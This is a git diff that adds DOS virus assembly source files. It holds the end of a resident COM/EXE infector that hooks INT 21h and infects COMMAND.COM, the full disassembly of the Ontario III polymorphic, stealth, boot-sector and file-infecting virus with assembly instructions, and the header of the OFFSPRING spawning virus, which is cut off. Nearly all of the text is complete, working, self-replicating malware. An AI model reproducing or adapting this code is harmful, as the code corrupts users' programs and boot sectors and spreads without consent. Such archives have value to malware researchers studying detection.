+VB00: + pop bp + sub BP, +7 + mov ax, -1 + int 21h + or ah, ah + je GO_PROG + + push ds + xor ax, ax + mov ds, ax ;BIOS data area + sub word ptr ds:[0413H], 2 + lds bx, ds:[LOC_21] + mov word ptr cs:[BP]+offset OLD_21, bx + mov word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector + mov bx, es + dec bx + mov ds, bx + sub word ptr ds:[0003H], 2048/16 ;Paragraph size + mov ax, ds:[0012H] ;Get high memory segment + sub ax, 2048/16 ;Make room for ourself + mov ds:[0012H], ax ;Save it + mov es, ax + push cs + pop ds + mov si, bp ;Put 0000 into SI (if EXE..) + xor di, di + mov cx, REAL_SIZE+4 ;Plus OLD_21 information! + cld + rep movsb + mov ds, cx ;Put zero into DS + cli ;Disable maskable interrupts + mov word ptr ds:LOC_21, offset NEW_21 + mov word ptr ds:LOC_21+2, ax + sti ;Enable interrupts + mov ax, 4BFFH ;Infect COMMAND.COM file! + int 21h + pop ds + push ds + pop es + +GO_PROG: ;Check if EXE or COM program? + or bp, bp ;Are we an EXE file? + je RUN_EXE + +RUN_COM: ;Run this infected .COM file + lea si, [BP]+offset RUN_PROG + mov di, 100H + push di + cld + movsw + movsw +DUMB_ROUTINE PROC NEAR + ret ;Do a local return +DUMB_ROUTINE ENDP + +RUN_EXE: + mov ax, es ;Get PSP segment + add cs:word ptr RUN_PROG+2, ax ;Reallocate entry segment + + db 0EAh ;JMP 0000:0000 + +RUN_PROG db 0B4H, 04CH + db 0CDH, 021H +NEW_21: + cmp ax, -1 + jne NW00 + inc ax ;Overflow to 0000 + iret +NW00: + cmp ah, 4Bh ;Infect program being executed + jne RUN_OLD_21 + cmp al, 03 + je RUN_OLD_21 + cmp al, -1 + jne RO00 + push cs + pop ds + mov dx, offset COMMAND_FILE + call INFECT_PROGRAM + IRET +RO00: + call INFECT_PROGRAM + +RUN_OLD_21: + jmp dword ptr cs:OLD_21 ;Do original interrupt + +INFECT_PROGRAM PROC NEAR +; +;When entering a normal Int 21/AH=4BH +;DS:DX -> Ptr to filename +;ES:BX -> Ptr to Parm Block +;AL -> 0 - Load/Run, 3 - Overlay +; + push es + push ds + push dx + push cx + push bx + push ax +; push si +; push di + + mov ax, 4300H ;Get file attribute + call DO_21 + jb NO_CLOSE + test cl, 00000001b + je VB04 + and cl, 11111110b ;Turn off bit 0 (so you can write) + mov ax, 4301H ;Set file attribute + call DO_21 + jb NO_CLOSE + +VB04: + mov ax, 3D02h ;Open file for reading & writing + call DO_21 +VB05: + JNB VB06 +NO_CLOSE: + JMP END_21 +VB06: + + mov bx, ax ;Put new handle into BX + push cs + pop ds + + mov ax, 5700H ;Get file date + call DO_21 + mov ds:FILE_TIME, cx + mov ds:FILE_DATE, dx + + mov dx, offset TMP_HEADER ;Load in COM/EXE ? file header + mov cx, 1BH ;Size of header (for EXE, it doesn't + ;matter the extra bytes loaded for + ;COM files. + mov ah, 3Fh ;Read from file + call DO_21 +VB10: + jb CLOSE_END + + cmp word ptr ds:SIGN, 'ZM' ;Is this an EXE file? (MZ) + je INFECT_EXE + +INFECT_COM: + mov al, byte ptr SIGN+1 + cmp al, byte ptr SIGN+3 + je CLOSE_END + + xor dx, dx + xor cx, cx + mov ax, 4202H ;Seek from EOF + call DO_21 +VB15: + jb CLOSE_END + +;Returns DX:AX number of bytes seeked (Size of file) + + cmp ax, 0E000H ;Check file size + ja CLOSE_END + push ax + mov ax, ds:word ptr [SIGN+0] + mov word ptr ds:RUN_PROG+0, ax + mov ax, ds:word ptr [SIGN+2] + mov word ptr ds:RUN_PROG+2, ax + pop ax + sub ax, 3 ;Calculate jmp to End of file + mov byte ptr ds:SIGN+0, 0E9H ;JMP FAR + mov word ptr ds:SIGN+1, ax + mov byte ptr ds:SIGN+3, al ;Identification code + + jmp FINISH_INFECT + +;From here in, both EXE & COM files are infected the same +;The virus is written, seek to start of file, and re-write the Header + +INFECT_EXE: + cmp word ptr ds:START_IP, 1 + jne VB19 +VB18: +CLOSE_END: + jmp END_INFECT +VB19: + mov ax, ds:[FILE_SIZE] ;Get file size + mov cx, 200H + mul cx ;Convert to bytes offset + +;If filesize, if bigger then 64K, the overflow is put into DX + + push ax + push dx + mov cl, 04h + ror dx, cl + shr ax, cl ;Convert to paragraphs + add ax, dx + sub ax, ds:SIZE_HEADER + PUSH AX + mov ax, ds:START_IP + mov word ptr ds:RUN_PROG, ax + mov ax, ds:START_CS + add ax, 0010H + mov word ptr ds:RUN_PROG+2, ax + POP AX + mov word ptr ds:START_CS, ax + mov word ptr ds:START_IP, +1 + inc word ptr ds:FILE_SIZE + + pop cx + pop dx + mov ax, 4200H ;Goto end of file + call DO_21 +VB20: + jb VB25 + +FINISH_INFECT: + xor ds:byte ptr [DC00]+1, 08h ;Toggle NEG/NOT + + xor ax, ax + mov ds, ax + mov AL, byte ptr ds:[46CH] ;Lowest byte of timer count + push cs + pop ds + push cs + pop es + mov ds:[CODE_BYTE], AL ;Put high byte of file seek + xor si, si + mov di, offset REAL_EOF + push di ;Push pointer + mov cx, offset EOF + cld + rep movsb + mov si, offset REAL_EOF+04H ;REAL_EOF+VB01 + call DECODE + pop dx ;Restore pointer + mov cx, REAL_SIZE + mov ah, 40h + call DO_21 + JB END_INFECT + + xor cx, cx + xor dx, dx ;Distance to seek into file + mov ax, 4200h ;Seek from start of file + call DO_21 + jb END_INFECT + + mov dx, offset TMP_HEADER ;Ptr to New modified header + mov cx, 1BH ;Size of header + mov ah, 40h ;Write to file + call DO_21 + +VB25: +END_INFECT: + mov dx, ds:FILE_DATE + mov cx, ds:FILE_TIME + mov ax, 5701h ;Set file date/time + call DO_21 + +CLOSE_FILE: + mov ah, 3Eh ;Close the file + call DO_21 +END_21: +; pop di +; pop si + pop ax + pop bx + pop cx + pop dx + pop ds + pop es + RET + +DO_21: + pushf + call dword ptr cs:OLD_21 + ret + +COMMAND_FILE DB 'C:\COMMAND.COM',0 + +MASTER_DECODE: +CODE_BYTE DB 80H + +MASTER_UNCODE: + POP SI + PUSH SI + MOV AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01] +DECODE: + MOV CX, OFFSET MASTER_DECODE-OFFSET VB01 +DC00: + NOT AL + XOR CS:BYTE PTR [SI], AL + INC SI + LOOP DC00 + RET + +INFECT_PROGRAM ENDP + +EOF: + +OLD_21 DD ? + +FILE_TIME DW ? +FILE_DATE DW ? + +TMP_HEADER: +SIGN DW ? +LEN_IMAGE_MOD DW ? +FILE_SIZE DW ? ;In 512-increments +NUM_REAL DW ? +SIZE_HEADER DW ? +MIN_ABOVE DW ? +MAX_ABOVE DW ? +STACK_SS DW ? +STACK_SP DW ? +CHECKSUM DW ? +START_IP DW ? +START_CS DW ? +DISPLAY_REAL DW ? +OVERLAY_NUM DW ? + +REAL_EOF: + +VBUG ENDP + +CODE ENDS + END VBUG + diff --git a/o/ONTARIO3.ASM b/o/ONTARIO3.ASM new file mode 100755 index 0000000..cf80df9 --- /dev/null +++ b/o/ONTARIO3.ASM @@ -0,0 +1,993 @@ + .model tiny + .code +; Ontario III +; Disassembly by Dark Angel of Phalcon/Skism +; Assemble with TASM /m ONTARIO3.ASM + +; Virus written by Death Angel of YAM + org 0 + +decrypt: +patch1: + mov di,offset endvirus ; usually: offset enddecrypt +patch2 = $ - 2 +patch3 = $ + mov cx,37E5h +patch4 = $ - 2 +patch5: + db 82h, 0C5h, 0D0h ; add ch,0D0h +patch6 = $ - 1 +patch7: + mov al,0Ah +patch8 = $ - 1 + +decrypt_loop: + add cs:[di],al +patch9 = $ - 1 +patch10: + ror al,cl +patch11 = $ - 1 +patch12: + inc di +patch13: + loop decrypt_loop +enddecrypt: + +patch14: + db 89h, 0FBh ; mov bx,di +patch15 = $ - 1 + + sub bx,offset save4 + xchg ax,cx + dec ax + cld + call saveorigvectors + db 0e9h ; jmp +SYSpatch dw 0 ; currently jmp to next line + int 21h ; installation check + or al,ah + jz restorefile + push ds + mov cx,bx + mov di,ds ; save current ds + mov ah,13h ; get BIOS int 13h handler + int 2Fh ; to ds:dx and es:bx + + mov si,ds ; does function function? + cmp si,di + je skipit + push ds + push dx + mov ah,13h ; restore handler + int 2Fh + + + mov bx,cx ; but save its address too + pop word ptr cs:[bx+storeint13_1] + pop word ptr cs:[bx+storeint13_2] +skipit: + xor di,di + mov cx,es + dec cx + mov ds,cx ; get MCB of current program + sub word ptr [di+3],140h ; decrease size by 5K + mov ax,[di+12h] ; get high memory from PSP + sub ax,140h ; decrease size by 5K + mov [di+12h],ax ; replace it + mov es,ax ; es->high memory segment + sub ax,1000h + mov word ptr cs:[bx+patchsegment],ax + push cs + pop ds + mov si,bx + mov cx,offset save4 + rep movsb + mov ds,cx + cli + mov word ptr ds:21h*4,offset int21 ; set int 21h handler + mov ds:21h*4+2,es ; to virus's + sti + mov ax,4BFFh ; infect COMSPEC + push bx + int 21h + pop bx + pop ds + push ds + pop es +restorefile: + lea si,[bx+offset save4] + mov di,100h + cmp bx,di + jb restoreEXE + push di + movsw + movsw + retn +restoreEXE: + mov ax,es ; get start segment + add ax,10h ; adjust for PSP + add cs:[si+2],ax ; relocate CS + add cs:[si+4],ax ; relocate SS + cli + mov sp,cs:[si+6] ; restore stack + mov ss,cs:[si+4] + sti + jmp dword ptr cs:[si] + +int21instcheck: + inc ax + iret + +int21: + cmp ax,0FFFFh ; installation check? + je int21instcheck + cmp ah,4Bh ; execute? + je execute + cmp ah,11h ; FCB find first? + je findfirstnext + cmp ah,12h ; FCB find next? + je findfirstnext + cmp ax,3D00h ; open file read only? + jne int21exit + call handleopen +int21exit: + db 0EAh ; jmp far ptr +oldint21 dd 0 + +findfirstnext: ; standard stealth routine + push bp + mov bp,sp + cmp word ptr [bp+4],1234h +patchsegment = $ - 2 + pop bp + jb int21exit + call callint21 ; do findfirst/next + call pushall + mov ah,2Fh ; Get DTA + call callint21 + cmp byte ptr es:[bx],0FFh ; extended FCB? + je findfirstnextnotextendedFCB + sub bx,7 ; convert to standard +findfirstnextnotextendedFCB: + mov al,es:[bx+1Eh] ; get seconds counter + and al,1Fh ; check if 62 seconds + cmp al,1Fh ; (infection marker) + jne findfirstnextexit ; exit if not + mov dx,es:[bx+26h] ; get file size + mov ax,es:[bx+24h] + sub ax,viruslength ; decrease by virus + sbb dx,0 ; size + or dx,dx + jc findfirstnextexit + mov es:[bx+26h],dx ; replace file size + mov es:[bx+24h],ax ; with "stealthed" one +findfirstnextexit: + call popall + iret + +execute: + mov byte ptr cs:infectSYS,0 + cmp al,1 ; load/don't execute + je load_noexecute + cmp al,0FFh ; called by virus + je infectCOMSPEC + call infectDSDX + jmp short int21exit + +infectCOMMANDCOM: + mov byte ptr cs:infectSYS,0 + push dx + push ds + mov dx,offset command_com + push cs + pop ds + mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM + call infectDSDX + pop ds + pop dx + iret + +infectCOMSPEC: + mov ah,51h ; Get current PSP + call callint21 + mov es,bx + mov ds,es:[2Ch] ; environment block + xor si,si + push cs + pop es +infectCOMSPECfindcomspec: + mov di,offset comspec ; is 'COMSPEC=' the first + mov cx,4 ; entry in environment? + repe cmpsw ; (should be) + jcxz infectCOMSPECnoenvironment ; otherwise, quit +infectCOMSPECfindend: + lodsb ; search for end of string + or al,al + jnz infectCOMSPECfindend + cmp byte ptr [si],0 ; found it? + jne infectCOMSPECfindcomspec; nope, try again + jmp short infectCOMMANDCOM ; otherwise, infect +infectCOMSPECnoenvironment: + mov dx,si + mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM + call infectDSDX ; but are we really? Maybe + iret ; it's 4DOS. This is a bug. +load_noexecute: + push es ; save parameter block + push bx + call callint21 ; prechain + pop bx + pop es + call pushall + jnc load_noexecute_ok ; continue if no error + jmp load_noexecute_exit +load_noexecute_ok: + xor cx,cx + lds si,dword ptr es:[bx+12h]; get entry point on return + push ds + push si + mov di,100h + cmp si,di + jl loading_EXE + ja load_noexecute_quit +; debugger active + lodsb + cmp al,0E9h ; check if infected + jne load_noexecute_quit + lodsw + push ax ; save jmp location + lodsb + cmp al,'O' ; check for infection marker + pop si ; get jmp location + jnz load_noexecute_quit + add si,103h ; convert to file offset + inc cx + inc cx + pop ax + push si + push ds + pop es + jmp short check_infection +loading_EXE: + lea di,[bx+0Eh] ; check SS:SP on return + cmp word ptr es:[di],9FFh ; infected? + jne load_noexecute_quit +check_infection: + lodsb + cmp al,0BBh ; possibility 1 + je infected_checked1 + cmp al,0BEh ; possibility 2 + je infected_checked1 + cmp al,0BFh ; possibility 3 + jne load_noexecute_quit +infected_checked1: + lodsw ; get starting offset + push ax ; to decrypt + lodsb ; get next byte + cmp al,0B9h ; check for infection + lodsw + pop si ; offset to decrypt + jnz load_noexecute_quit + cmp ah,7 ; check if infected + je infected_checked2 + cmp al,0E5h ; ditto + jne load_noexecute_quit +infected_checked2: + add si,save4 - enddecrypt + jcxz disinfectEXE + rep movsw + jmp short finish_disinfection +disinfectEXE: + mov ah,51h ; Get current PSP + call callint21 + add bx,10h ; go to file starting CS + mov ax,[si+6] + dec ax + dec ax + stosw + mov ax,[si+4] + add ax,bx + stosw + movsw + lodsw + add ax,bx + stosw +finish_disinfection: + pop di + pop es + xchg ax,cx + mov cx,viruslength + rep stosb + jmp short load_noexecute_exit +load_noexecute_quit: + pop ax + pop ax +load_noexecute_exit: + call popall + retf 2 + + +handleopen: + call pushall + mov si,dx ; find extension of +handleopenscanloop: ; ASCIIZ string + lodsb + or al,al ; found end of screen? + jz handleopenexit ; yup, no extension -- exit + cmp al,'.' ; extension found? + jne handleopenscanloop + mov di,offset validextensions - 3 + push cs + pop es + mov cx,4 + nop + +scanvalidextension: + push cx + push si + mov cl,3 + add di,cx + push di + +check_extension: + lodsb + and al,5Fh ; Capitalise + cmp al,es:[di] ; do they compare ok? + jne extension_no_match ; nope, try next one + inc di + loop check_extension + + cmp al,'S' ; SYS file? + jne opennotSYS + mov byte ptr cs:infectSYS,0FFh ; infecting SYS file +opennotSYS: + call infectDSDX + add sp,6 + jmp short handleopenexit +extension_no_match: + pop di + pop si + pop cx + loop scanvalidextension + +handleopenexit: + call popall + retn + +infectDSDX: + call pushall + call replaceint13and24 + push dx + push ds + mov ax,4300h ; get attributes + call callint21 + push cx + pushf + jc go_restoreattribs + push cx + and cl,1 ; check if read only + cmp cl,1 + jne infectDSDXnoclearattributes + xor cx,cx ; clear if so + mov ax,4301h + call callint21 +infectDSDXnoclearattributes: + pop cx + and cl,4 + cmp cl,4 + je go_restoreattribs + mov ax,3D02h ; open file read/write + call callint21 + jnc infectDSDXopenOK ; continue if no error +go_restoreattribs: + jmp infectDSDXrestoreattributes +infectDSDXopenOK: + xchg ax,bx ; handle to bx + push cs + push cs + pop ds + pop es + mov word ptr ds:SYSpatch,0 + mov ax,5700h ; save file time/date + call callint21 + push dx + push cx + and cl,1Fh ; check if infected + cmp cl,1Fh ; (seconds == 62) + je infectDSDXerror + mov dx,offset readbuffer ; read header from + mov cx,1Ch ; potential carrier + mov ah,3Fh ; file to the + call callint21 ; buffer + jnc infectDSDXreadOK ; continue if no error +infectDSDXerror: + stc ; mark error + jmp infectDSDXclose ; and exit +infectDSDXreadOK: + cmp ax,cx ; read 1ch bytes? + jne infectDSDXerror ; exit if not + xor dx,dx + mov cx,dx + mov ax,4202h ; go to end of file + call callint21 + or dx,dx + jnz infectDSDXfilelargeenough + cmp ax,0A01h ; check if too small + jb infectDSDXerror +infectDSDXfilelargeenough: + cmp dl,5 + ja infectDSDXerror + cmp word ptr ds:readbuffer,'ZM' ; EXE? + je infectDSDXskipcheck + cmp word ptr ds:readbuffer,'MZ' ; EXE? +infectDSDXskipcheck: + je infectDSDXcheckEXE + cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file? + jne infectDSDXcheckCOM + cmp word ptr ds:readbuffer,0FFFFh ; check if SYS + jne infectDSDXerror ; file + cmp word ptr ds:readbuffer+2,0FFFFh +isanoverlay: + jne infectDSDXerror + or dx,dx + jnz infectDSDXerror + push ax ; save file size + mov di,offset save4 + mov ax,5657h ; push di, push si + stosw + mov ax,0E953h ; push bx, jmp decrypt + stosw + mov ax,offset decrypt - (offset save4 + 6) + stosw + mov ax,word ptr ds:readbuffer+6 ; get strategy start point + stosw + pop ax ; get file size + push ax + add ax,offset save4 + mov word ptr ds:readbuffer+6,ax + mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2) + mov byte ptr ds:decrypt_loop,36h ; replace with SS: + pop ax + add ax,offset enddecrypt + jmp short go_infectDSDXcontinue +infectDSDXcheckCOM: + cmp byte ptr ds:readbuffer+3,'O'; check if already infected +jmp_infectDSDXerror: + je infectDSDXerror + cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM? + je dontdoslackspace + sub ax,viruslength ; infect slack space of + xchg ax,dx ; command.com + xor cx,cx + mov ax,4200h + call callint21 +dontdoslackspace: + mov si,offset readbuffer + mov di,offset save4 + movsw + movsw + sub ax,3 ; convert size->jmp dest + mov byte ptr ds:readbuffer,0E9h ; encode JMP + mov word ptr ds:readbuffer+1,ax ; and destination + mov byte ptr ds:readbuffer+3,'O' ; mark infected + add ax,116h +go_infectDSDXcontinue: + jmp short infectDSDXcontinue +infectDSDXcheckEXE: + cmp word ptr ds:readbuffer+10h,0A01h ; already infected? + je jmp_infectDSDXerror + cmp word ptr ds:readbuffer+1Ah,0 + jne isanoverlay ; exit if it's an overlay + + push dx + push ax + mov cl,4 + ror dx,cl + shr ax,cl + add ax,dx ; ax:dx = file size + sub ax,word ptr ds:readbuffer+8 ; subtract header size + mov si,offset readbuffer+14h + mov di,offset origCSIP + movsw ; save initial CS:IP + movsw + mov si,offset readbuffer+0Eh + movsw ; save initial SS:SP + movsw + mov word ptr ds:readbuffer+16h,ax ; set initial CS + mov word ptr ds:readbuffer+0Eh,ax ; set initial SS + mov word ptr ds:readbuffer+10h,0A01h ; set initial SP + pop ax + pop dx + push ax + add ax,0A01h + + ; adc dx,0 works just as well + jnc infectEXEnocarry + inc dx +infectEXEnocarry: + mov cx,200h ; take image size + div cx + ; The next line is not entirely corrrect. The image size + ; div 512 is rounded up. Therefore, DOS will find this number + ; to be off by 512d bytes + mov word ptr ds:readbuffer+4,ax ; image size div 512 + mov word ptr ds:readbuffer+2,dx ; image size mod 512 + pop ax + and ax,0Fh + mov word ptr ds:readbuffer+14h,ax ; set initial IP + add ax,offset enddecrypt +infectDSDXcontinue: + mov word ptr ds:patch2,ax ; patch start area + push bx ; save file handle + xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS: + call encrypt ; encrypt virus to buffer + pop bx ; restore file handle + mov ah,40h ; Concatenate encrypted + call callint21 ; virus + jc infectDSDXclose ; exit on error + xor dx,dx + mov cx,dx + mov ax,4200h ; go to start of file + call callint21 + jc infectDSDXclose + mov dx,offset readbuffer + mov cx,1Ch + mov ah,40h ; Write new header + call callint21 +infectDSDXclose: + pop cx + pop dx + jc infectDSDXnoaltertime + cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM? + je infectDSDXnoaltertime + or cl,1Fh ; set time to 62 seconds +infectDSDXnoaltertime: + mov ax,5701h ; restore file time/date + call callint21 + mov ah,3Eh ; Close file + call callint21 +infectDSDXrestoreattributes: + mov byte ptr cs:infCOMMAND,0 + mov byte ptr cs:infectSYS,0 + popf + pop cx + pop ds + pop dx + jc infectDSDXexit + mov ax,4301h ; restore file attributes + call callint21 +infectDSDXexit: + call restoreint13and24 + call popall + retn + +pushall: + push bp + mov bp,sp + push bx + push cx + push dx + push si + push di + push ds + push es + pushf + xchg ax,[bp+2] + push ax + mov ax,[bp+2] + retn + +popall: + pop ax + xchg ax,[bp+2] + popf + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop bp + retn + +replaceint13and24: + push ds + xor ax,ax + mov ds,ax + mov si,13h*4 + lodsw + mov word ptr cs:origint13_1,ax + lodsw + mov word ptr cs:origint13_2,ax + mov si,24h*4 + lodsw + mov word ptr cs:origint24_1,ax + lodsw + mov word ptr cs:origint24_2,ax + mov word ptr ds:13h*4,1234h +storeint13_1 = $ - 2 + mov word ptr ds:13h*4+2,1234h +storeint13_2 = $ - 2 + mov word ptr ds:24h*4,offset int24 ; replace int 24 handler + mov ds:24h*4+2,cs + pop ds + retn + +restoreint13and24: + xor ax,ax + mov ds,ax + mov word ptr ds:13h*4,1234h +origint13_1 = $ - 2 + mov word ptr ds:13h*4+2,1234h +origint13_2 = $ - 2 + mov word ptr ds:24h*4,1234h +origint24_1 = $ - 2 + mov word ptr ds:24h*4+2,1234h +origint24_2 = $ - 2 + retn + +int24: + xor al,al + iret + +encrypt: + mov di,offset patch4 + mov si,di + mov word ptr [si],offset save4 - offset enddecrypt + xor bx,bx + call random + jz encrypt1 + add bl,4 + inc di +encrypt1: + call random + in al,40h ; get random # + mov bh,al + jz encrypt2 + add [di],al ; alter amount to encrypt + add bl,28h + jmp short encrypt3 +encrypt2: + sub [di],al ; alter amount to encrypt +encrypt3: + add bl,0C1h + mov [si+3],bx + call random + jz encrypt4 + xor byte ptr [si+2],2 ; flip betwen add/sub +encrypt4: + in ax,40h ; get random number != 0 + or ax,ax + jz encrypt4 + mov bx,3 ; first choose one of + xor dx,dx ; three possible registers + div bx + xchg ax,bx + inc ax ; ax = 4 + mul dx ; convert to offset in + xchg ax,bx ; table + lea si,[bx+offset table1] + lodsb + mov byte ptr ds:patch1,al + lodsb + mov byte ptr ds:patch9,al + lodsb + mov byte ptr ds:patch12,al + lodsb + mov byte ptr ds:patch15,al + call random + jz encrypt5 + xor byte ptr ds:patch13,2 ; loop/loopnz +encrypt5: + in ax,40h ; get random number + mov byte ptr ds:patch8,ah + and ax,0Fh + xchg ax,bx + shl bx,1 + mov ax,[bx+offset table2] + mov word ptr ds:patch10,ax + xor si,si + mov di,offset encryptbuffer ; copy virus to + mov cx,endvirus - decrypt ; temporary buffer + push cx ; for encryption + cld + rep movsb + mov bx,offset enddecrypt + push word ptr [bx] ; save it + mov byte ptr [bx],0C3h ; put retn in its place + push bx + xor byte ptr [bx-7],28h ; sub/add + push word ptr ds:decrypt_loop + mov byte ptr [bx-8],2Eh ; CS: + mov dx,offset encryptbuffer + add bx,dx + mov word ptr ds:patch2,bx + call decrypt + pop word ptr ds:decrypt_loop + pop bx + pop word ptr [bx] + pop cx + retn + + +random: ; 1/2 chance of zero flag set + in al,40h + and al,1 + cmp al,1 + retn + + +saveorigvectors: + push ds + push ax + xor ax,ax + mov ds,ax + mov ax,ds:13h*4 + mov word ptr cs:[bx+storeint13_1],ax + mov ax,ds:13h*4+2 + mov word ptr cs:[bx+storeint13_2],ax + mov ax,ds:21h*4 + mov word ptr cs:[bx+offset oldint21],ax + mov ax,ds:21h*4+2 + mov word ptr cs:[bx+offset oldint21+2],ax + pop ax + pop ds + retn + +strategy: + mov word ptr cs:[bx+doffset],bx ; save delta offset + pop bx + pop di + pop si + call pushall + push cs + pop ds + mov bx,1234h ; restore delta offset +doffset = $ - 2 + db 8bh, 87h ; mov ax,ds:[save4+6] + dw offset save4 + 6 ; get old strategy entry point + mov word ptr ds:[6],ax ; and restore to file header + int 12h ; Get memory size in K + sub ax,5 ; decrease by 5 K + mov cl,6 ; convert to paragraphs + shl ax,cl + mov es,ax + mov word ptr ds:[bx+himemsegment],ax + cmp byte ptr es:[3],0B9h ; check if already installed + je strategyexit + mov si,bx ; copy to high memory + xor di,di + mov cx,viruslength + rep movsb + pushf + db 09Ah ; call far ptr + dw infectCOMMANDCOM +himemsegment dw 0 + +strategyexit: + call popall + jmp word ptr cs:[6] ; go to original strategy + +table1 db 0BEh, 04h, 46h,0F3h ; si + db 0BFh, 05h, 47h,0FBh ; di + db 0BBh, 07h, 43h,0DBh ; bx + +table2: inc al + dec al + inc ax + inc ax + dec ax + dec ax + add al,cl + sub al,cl + xor al,cl + xor al,ch + not al + neg al + ror al,1 + rol al,1 + ror al,cl + rol al,cl + nop + nop + add al,ch + +comspec db 'COMSPEC=' +command_com db '\COMMAND.COM',0 + +validextensions db 'COMEXEOVLSYS' + +bootsector: ; offset 600h in the virus + jmp short bootsectorentry + nop +bootparms db 3Bh dup (0) + +bootsectorentry: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov sp,7C00h + sti + mov ax,ds:13h*4 ; get int 13h handler + mov word ptr ds:[7C00h+oldint13-bootsector],ax + mov ax,ds:13h*4+2 ; and save it + mov word ptr ds:[7C00h+oldint13+2-bootsector],ax + mov ax,ds:[413h] ; get total memory + sub ax,2 ; reduce by 2K + mov ds:[413h],ax ; replace memory size + mov cl,6 + shl ax,cl ; convert to paragraphs + sub ax,60h ; go to boot block start + mov es,ax + mov si,sp + mov di,offset bootsector + mov cx,100h + rep movsw + mov dx,offset highentry + push es + push dx + retf +highentry: + xor ax,ax ; reset disk + and dl,al + int 13h + push ds + push es + pop ds + pop es + mov bx,sp ; read to 0:7C00h + mov dx,drivehead ; find where original boot + mov cx,sectortrack ; block stored and then + mov ax,201h ; read original boot + int 13h ; sector + jc $ ; halt on error + xor ax,ax ; else chain to original + mov ds,ax ; boot sector + mov word ptr ds:13h*4,offset int13 + mov ds:13h*4+2,cs ; replace int 13h handler + push es + push bx + retf + +int13: + push bp + mov bp,sp + push ds + push es + push si + push di + push dx + push cx + push bx + push ax + pushf + xor bx,bx + mov ds,bx + test byte ptr ds:[43Fh],1 ; A: spinning? + jnz exitint13 ; exit if so + or dl,dl ; default drive? + jnz exitint13 ; exit if not + cmp ah,2 ; read/write/verify? + jb exitint13 + cmp ah,4 + jbe trapint13 +exitint13: + popf + pop ax + pop bx + pop cx + pop dx + pop di + pop si + pop es + pop ds + pop bp + jmp dword ptr cs:oldint13 ; chain to original handler + +trapint13: + cld + push cs + push cs + pop es + pop ds + xor cx,cx + mov dx,cx + inc cx + mov bx,offset endvirus ; read boot block to + mov ax,201h ; buffer at endvirus + call callint13 + jnc int13readOK +int13exit: + jmp short exitint13 +int13readOK: + cmp word ptr [bx+15h],501Eh ; push ds, push ax? + jne int13skip + cmp word ptr [bx+35h],0FF2Eh; jmp cs: ? + jne int13skip + cmp word ptr [bx+70h],7505h ; add ax,XX75 ? + jne int13skip + mov dh,1 + mov cl,3 + mov ax,201h + call callint13 + xor dh,dh + mov cl,1 + mov ax,301h + call callint13 +int13skip: + cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*' + je int13exit ; don't infect self + cmp word ptr ds:[offset endvirus+0Bh],200h + jne int13exit ; infect only 512 bytes per sector + cmp byte ptr ds:[offset endvirus+0Dh],2 + jne int13exit ; only 2 reserved sectors + cmp word ptr ds:[offset endvirus+1Ah],2 + ja int13exit ; only 2 sec/track + xor dx,dx ; calculate new location of boot block + mov ax,word ptr ds:[offset endvirus+13h] ; total sec + mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track + mov cx,bx + div bx ; # track + xor dx,dx + mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT + div bx + sub word ptr ds:[offset endvirus+13h],cx ; total sec + dec ax + mov byte ptr sectortrack+1,al + mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT + mov byte ptr sectortrack,al + mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track + dec ax + mov byte ptr drivehead+1,al + mov byte ptr drivehead,0 + mov dx,drivehead ; move original boot block + mov cx,sectortrack ; to end of disk + mov bx,offset endvirus + mov ax,301h + call callint13 + jc go_exitint13 + mov si,offset endvirus+3 ; copy parameters so + mov di,offset bootparms ; no one notices boot + mov cx,bootsectorentry - bootparms ; block is changed + rep movsb + xor cx,cx + mov dx,cx + inc cx + mov bx,offset bootsector ; copy virus boot block + mov ax,301h + call callint13 +go_exitint13: + jmp exitint13 + +callint21: + pushf + call dword ptr cs:oldint21 + retn + +callint13: + pushf + call dword ptr cs:oldint13 + retn + +oldint13 dd 0 +drivehead dw 100h +sectortrack dw 2709h +YAM db '*YAM*',1Ah + db 'Your PC has a bootache! - Get some medicine!',1Ah + db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah +save4: +origCSIP db 0CDh, 020h, 0, 0 +origSSSP dd 0 + +endvirus: + +viruslength = $ - decrypt + +infCOMMAND db ? +infectSYS db ? +readbuffer db 01Ch dup (?) +encryptbuffer db viruslength dup (?) + + end decrypt diff --git a/o/OSP-07S.ASM b/o/OSP-07S.ASM new file mode 100755 index 0000000..f9fcd0a --- /dev/null +++ b/o/OSP-07S.ASM @@ -0,0 +1,714 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.7 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with A86 v3.22 +; +; +; DISCLAIMER : Don't hold me responsible for any damages, or the release +; of this virus. Use at your own risk. +; +; TYPE : Parastic Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.7 +; +; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function +; 0Eh (change drive) is called the virus will infect +; up to 5 files in the current directory (the one +; you're coming out of). It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; bytes between them are constantly changed. The +; call to the encryption routine changes, so the +; address can be anywhere in a field of NOPs. +; Not anything overly amazing, but it works. +; +; + TITLE OFFSPRING_1 + .286 +CSEG SEGMENT + ASSUME CS: CSEG, SS: CSEG, ES: CSEG + +SIGNAL EQU 7DH ; Installation check +REPLY EQU 0FCH ; reply to check +CR EQU 0DH ; carraige return +LF EQU 0AH ; line feed +F_NAME EQU 